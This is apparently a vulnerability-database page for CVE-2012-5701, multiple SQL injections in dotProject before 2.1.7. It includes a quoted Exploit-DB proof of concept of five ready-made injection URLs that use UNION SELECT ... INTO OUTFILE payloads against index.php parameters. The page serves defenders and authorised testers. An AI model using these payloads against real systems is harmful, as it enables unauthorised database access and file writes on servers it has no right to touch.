CVE-2012-5701

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Published 2014-10-20 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Multiple SQL injection vulnerabilities in dotProject before 2.1.7 allow remote authenticated administrators to execute arbitrary SQL commands via the (1) search_string or (2) where parameter in a contacts action, (3) dept_id parameter in a departments action, (4) project_id[] parameter in a project action, or (5) company_id parameter in a system action to index.php. NOTE: this can be leveraged using CSRF to allow remote attackers to execute arbitrary SQL commands.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38042 webapps php verified text · 1 KB

High-Tech Bridge · 2012-11-21

dotProject 2.1.x - 'index.php' Multiple SQL Injections

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/56624/info

Dotproject is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities

2. Multiple cross-site scripting vulnerabilities

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202

Application impact

Vendor	Product	Versions	Fixed
dotproject	dotproject	`{"endIncluding":"2.1.6"}`

References

CWEs

CWE-89 CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.